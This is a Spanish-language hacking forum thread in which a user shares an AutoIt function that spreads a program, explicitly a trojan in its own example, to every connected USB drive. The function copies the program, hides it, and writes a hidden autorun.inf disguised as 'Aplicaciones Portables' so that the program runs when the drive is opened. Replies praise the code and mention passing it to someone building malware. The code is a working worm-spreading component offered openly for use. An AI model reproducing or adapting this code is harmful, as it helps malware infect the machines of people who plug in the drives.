[AutoIt] USB spreader function

Iniciado por 0b3Y, Mayo 29, 2014, 03:18:19 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 29, 2014, 03:18:19 PM Ultima modificación: Junio 02, 2014, 07:32:13 AM por 0b3Y
Hola buenas, les traigo aqui una funcion que acabo de relaizar para hacer spreading en los usb que esten conectados.
Actualmente estoy trabajando en la siguiente version asique esperen un poc y tendran el code mejorado :P

Código: text

; #FUNCTION# ===========================================================================================================
; Name...........: __Spreader
; Description ...: Copys a program in all USB and creates a autorun.
; Syntax.........: _Spreader ($program,nombre)
; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe
;    $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"
; Author ........: 0b3y
; ===============================================================================================================================

Func _Spreader($program,$nombre)
$todos_drive=DriveGetDrive("REMOVABLE")
For $i=1 To $todos_drive[0]
   If $todos_drive[$i]="a:" Then
  ContinueLoop
   EndIf
   If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])
  FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")
   If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then
  $ifile=FileOpen($todos_drive[$i]&"\autorun.inf")
  FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"action=@"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)
  FileClose($ifile)
  FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")
  EndIf
Next

EndFunc


Muy bueno bro! Se lo voy a recomendar a un amigo que estaba programando un malware en este lenguaje!

Saludos!
ANTRAX


HOLA!!!


Esta bueno, despues te paso uno mas :D.-


GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta